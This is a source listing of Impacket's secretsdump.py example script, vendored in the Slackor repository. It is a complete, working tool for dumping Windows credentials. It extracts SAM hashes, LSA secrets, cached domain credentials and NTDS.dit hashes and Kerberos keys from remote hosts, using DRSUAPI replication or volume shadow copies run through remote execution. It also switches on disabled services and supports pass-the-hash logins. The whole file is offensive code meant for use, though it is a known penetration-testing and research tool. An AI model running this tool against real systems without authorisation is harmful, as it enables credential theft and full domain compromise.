github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/secretsdump.py (about) 1 #!/usr/bin/env python 2 # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 # 4 # This software is provided under a slightly modified version 5 # of the Apache Software License. See the accompanying LICENSE file 6 # for more information. 7 # 8 # Description: Performs various techniques to dump hashes from the 9 # remote machine without executing any agent there. 10 # For SAM and LSA Secrets (including cached creds) 11 # we try to read as much as we can from the registry 12 # and then we save the hives in the target system 13 # (%SYSTEMROOT%\\Temp dir) and read the rest of the 14 # data from there. 15 # For NTDS.dit we either: 16 # a. Get the domain users list and get its hashes 17 # and Kerberos keys using [MS-DRDS] DRSGetNCChanges() 18 # call, replicating just the attributes we need. 19 # b. Extract NTDS.dit via vssadmin executed with the 20 # smbexec approach. 21 # It's copied on the temp dir and parsed remotely. 22 # 23 # The script initiates the services required for its working 24 # if they are not available (e.g. Remote Registry, even if it is 25 # disabled). After the work is done, things are restored to the 26 # original state. 27 # 28 # Author: 29 # Alberto Solino (@agsolino) 30 # 31 # References: Most of the work done by these guys. I just put all 32 # the pieces together, plus some extra magic. 33 # 34 # https://github.com/gentilkiwi/kekeo/tree/master/dcsync 35 # https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html 36 # https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html 37 # https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html 38 # https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13 39 # https://code.google.com/p/creddump/ 40 # https://lab.mediaservice.net/code/cachedump.rb 41 # https://insecurety.net/?p=768 42 # http://www.beginningtoseethelight.org/ntsecurity/index.htm 43 # https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf 44 # https://www.passcape.com/index.php?section=blog&cmd=details&id=15 45 # 46 from __future__ import division 47 from __future__ import print_function 48 import argparse 49 import codecs 50 import logging 51 import os 52 import sys 53 54 from impacket import version 55 from impacket.examples import logger 56 from impacket.smbconnection import SMBConnection 57 58 from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes 59 try: 60 input = raw_input 61 except NameError: 62 pass 63 64 class DumpSecrets: 65 def __init__(self, remoteName, username='', password='', domain='', options=None): 66 self.__useVSSMethod = options.use_vss 67 self.__remoteName = remoteName 68 self.__remoteHost = options.target_ip 69 self.__username = username 70 self.__password = password 71 self.__domain = domain 72 self.__lmhash = '' 73 self.__nthash = '' 74 self.__aesKey = options.aesKey 75 self.__smbConnection = None 76 self.__remoteOps = None 77 self.__SAMHashes = None 78 self.__NTDSHashes = None 79 self.__LSASecrets = None 80 self.__systemHive = options.system 81 self.__bootkey = options.bootkey 82 self.__securityHive = options.security 83 self.__samHive = options.sam 84 self.__ntdsFile = options.ntds 85 self.__history = options.history 86 self.__noLMHash = True 87 self.__isRemote = True 88 self.__outputFileName = options.outputfile 89 self.__doKerberos = options.k 90 self.__justDC = options.just_dc 91 self.__justDCNTLM = options.just_dc_ntlm 92 self.__justUser = options.just_dc_user 93 self.__pwdLastSet = options.pwd_last_set 94 self.__printUserStatus= options.user_status 95 self.__resumeFileName = options.resumefile 96 self.__canProcessSAMLSA = True 97 self.__kdcHost = options.dc_ip 98 self.__options = options 99 100 if options.hashes is not None: 101 self.__lmhash, self.__nthash = options.hashes.split(':') 102 103 def connect(self): 104 self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) 105 if self.__doKerberos: 106 self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, 107 self.__nthash, self.__aesKey, self.__kdcHost) 108 else: 109 self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 110 111 def dump(self): 112 try: 113 if self.__remoteName.upper() == 'LOCAL' and self.__username == '': 114 self.__isRemote = False 115 self.__useVSSMethod = True 116 if self.__systemHive: 117 localOperations = LocalOperations(self.__systemHive) 118 bootKey = localOperations.getBootKey() 119 if self.__ntdsFile is not None: 120 # Let's grab target's configuration about LM Hashes storage 121 self.__noLMHash = localOperations.checkNoLMHashPolicy() 122 else: 123 import binascii 124 bootKey = binascii.unhexlify(self.__bootkey) 125 126 else: 127 self.__isRemote = True 128 bootKey = None 129 try: 130 try: 131 self.connect() 132 except Exception as e: 133 if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: 134 # SMBConnection failed. That might be because there was no way to log into the 135 # target system. We just have a last resort. Hope we have tickets cached and that they 136 # will work 137 logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) 138 pass 139 else: 140 raise 141 142 self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) 143 self.__remoteOps.setExecMethod(self.__options.exec_method) 144 if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: 145 self.__remoteOps.enableRegistry() 146 bootKey = self.__remoteOps.getBootKey() 147 # Let's check whether target system stores LM Hashes 148 self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() 149 except Exception as e: 150 self.__canProcessSAMLSA = False 151 if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ 152 and self.__doKerberos is True: 153 # Giving some hints here when SPN target name validation is set to something different to Off 154 # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ 155 logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user') 156 else: 157 logging.error('RemoteOperations failed: %s' % str(e)) 158 159 # If RemoteOperations succeeded, then we can extract SAM and LSA 160 if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: 161 try: 162 if self.__isRemote is True: 163 SAMFileName = self.__remoteOps.saveSAM() 164 else: 165 SAMFileName = self.__samHive 166 167 self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) 168 self.__SAMHashes.dump() 169 if self.__outputFileName is not None: 170 self.__SAMHashes.export(self.__outputFileName) 171 except Exception as e: 172 logging.error('SAM hashes extraction failed: %s' % str(e)) 173 174 try: 175 if self.__isRemote is True: 176 SECURITYFileName = self.__remoteOps.saveSECURITY() 177 else: 178 SECURITYFileName = self.__securityHive 179 180 self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, 181 isRemote=self.__isRemote, history=self.__history) 182 self.__LSASecrets.dumpCachedHashes() 183 if self.__outputFileName is not None: 184 self.__LSASecrets.exportCached(self.__outputFileName) 185 self.__LSASecrets.dumpSecrets() 186 if self.__outputFileName is not None: 187 self.__LSASecrets.exportSecrets(self.__outputFileName) 188 except Exception as e: 189 if logging.getLogger().level == logging.DEBUG: 190 import traceback 191 traceback.print_exc() 192 logging.error('LSA hashes extraction failed: %s' % str(e)) 193 194 # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work 195 if self.__isRemote is True: 196 if self.__useVSSMethod and self.__remoteOps is not None: 197 NTDSFileName = self.__remoteOps.saveNTDS() 198 else: 199 NTDSFileName = None 200 else: 201 NTDSFileName = self.__ntdsFile 202 203 self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, 204 noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, 205 useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, 206 pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, 207 outputFileName=self.__outputFileName, justUser=self.__justUser, 208 printUserStatus= self.__printUserStatus) 209 try: 210 self.__NTDSHashes.dump() 211 except Exception as e: 212 if logging.getLogger().level == logging.DEBUG: 213 import traceback 214 traceback.print_exc() 215 if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: 216 # We don't store the resume file if this error happened, since this error is related to lack 217 # of enough privileges to access DRSUAPI. 218 resumeFile = self.__NTDSHashes.getResumeSessionFile() 219 if resumeFile is not None: 220 os.unlink(resumeFile) 221 logging.error(e) 222 if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0: 223 logging.info("You just got that error because there might be some duplicates of the same name. " 224 "Try specifying the domain name for the user as well. It is important to specify it " 225 "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") 226 elif self.__useVSSMethod is False: 227 logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') 228 self.cleanup() 229 except (Exception, KeyboardInterrupt) as e: 230 if logging.getLogger().level == logging.DEBUG: 231 import traceback 232 traceback.print_exc() 233 logging.error(e) 234 if self.__NTDSHashes is not None: 235 if isinstance(e, KeyboardInterrupt): 236 while True: 237 answer = input("Delete resume session file? [y/N] ") 238 if answer.upper() == '': 239 answer = 'N' 240 break 241 elif answer.upper() == 'Y': 242 answer = 'Y' 243 break 244 elif answer.upper() == 'N': 245 answer = 'N' 246 break 247 if answer == 'Y': 248 resumeFile = self.__NTDSHashes.getResumeSessionFile() 249 if resumeFile is not None: 250 os.unlink(resumeFile) 251 try: 252 self.cleanup() 253 except: 254 pass 255 256 def cleanup(self): 257 logging.info('Cleaning up... ') 258 if self.__remoteOps: 259 self.__remoteOps.finish() 260 if self.__SAMHashes: 261 self.__SAMHashes.finish() 262 if self.__LSASecrets: 263 self.__LSASecrets.finish() 264 if self.__NTDSHashes: 265 self.__NTDSHashes.finish() 266 267 268 # Process command-line arguments. 269 if __name__ == '__main__': 270 # Init the example's logger theme 271 logger.init() 272 # Explicitly changing the stdout encoding format 273 if sys.stdout.encoding is None: 274 # Output is redirected to a file 275 sys.stdout = codecs.getwriter('utf8')(sys.stdout) 276 277 print(version.BANNER) 278 279 parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from " 280 "the remote machine without executing any agent there.") 281 282 parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL' 283 ' (if you want to parse local files)') 284 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 285 parser.add_argument('-system', action='store', help='SYSTEM hive to parse') 286 parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive') 287 parser.add_argument('-security', action='store', help='SECURITY hive to parse') 288 parser.add_argument('-sam', action='store', help='SAM hive to parse') 289 parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse') 290 parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only ' 291 'available to DRSUAPI approach). This file will also be used to keep updating the session\'s ' 292 'state') 293 parser.add_argument('-outputfile', action='store', 294 help='base output filename. Extensions will be added for sam, secrets, cached and ntds') 295 parser.add_argument('-use-vss', action='store_true', default=False, 296 help='Use the VSS method insead of default DRSUAPI') 297 parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec ' 298 'method to use at target (only when using -use-vss). Default: smbexec') 299 group = parser.add_argument_group('display options') 300 group.add_argument('-just-dc-user', action='store', metavar='USERNAME', 301 help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. ' 302 'Implies also -just-dc switch') 303 group.add_argument('-just-dc', action='store_true', default=False, 304 help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)') 305 group.add_argument('-just-dc-ntlm', action='store_true', default=False, 306 help='Extract only NTDS.DIT data (NTLM hashes only)') 307 group.add_argument('-pwd-last-set', action='store_true', default=False, 308 help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data') 309 group.add_argument('-user-status', action='store_true', default=False, 310 help='Display whether or not the user is disabled') 311 group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal') 312 group = parser.add_argument_group('authentication') 313 314 group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 315 group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 316 group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 317 '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use' 318 ' the ones specified in the command line') 319 group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication' 320 ' (128 or 256 bits)') 321 group = parser.add_argument_group('connection') 322 group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 323 'ommited it use the domain part (FQDN) specified in the target parameter') 324 group.add_argument('-target-ip', action='store', metavar="ip address", 325 help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 326 'This is useful when target is the NetBIOS name and you cannot resolve it') 327 328 if len(sys.argv)==1: 329 parser.print_help() 330 sys.exit(1) 331 332 options = parser.parse_args() 333 334 if options.debug is True: 335 logging.getLogger().setLevel(logging.DEBUG) 336 else: 337 logging.getLogger().setLevel(logging.INFO) 338 339 import re 340 341 domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 342 options.target).groups('') 343 344 #In case the password contains '@' 345 if '@' in remoteName: 346 password = password + '@' + remoteName.rpartition('@')[0] 347 remoteName = remoteName.rpartition('@')[2] 348 349 if options.just_dc_user is not None: 350 if options.use_vss is True: 351 logging.error('-just-dc-user switch is not supported in VSS mode') 352 sys.exit(1) 353 elif options.resumefile is not None: 354 logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch') 355 sys.exit(1) 356 elif remoteName.upper() == 'LOCAL' and username == '': 357 logging.error('-just-dc-user not compatible in LOCAL mode') 358 sys.exit(1) 359 else: 360 # Having this switch on implies not asking for anything else. 361 options.just_dc = True 362 363 if options.use_vss is True and options.resumefile is not None: 364 logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode') 365 sys.exit(1) 366 367 if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None: 368 logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode') 369 sys.exit(1) 370 371 if remoteName.upper() == 'LOCAL' and username == '': 372 if options.system is None and options.bootkey is None: 373 logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check help') 374 sys.exit(1) 375 else: 376 377 if options.target_ip is None: 378 options.target_ip = remoteName 379 380 if domain is None: 381 domain = '' 382 383 if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 384 from getpass import getpass 385 386 password = getpass("Password:") 387 388 if options.aesKey is not None: 389 options.k = True 390 391 dumper = DumpSecrets(remoteName, username, password, domain, options) 392 try: 393 dumper.dump() 394 except Exception as e: 395 if logging.getLogger().level == logging.DEBUG: 396 import traceback 397 traceback.print_exc() 398 logging.error(e)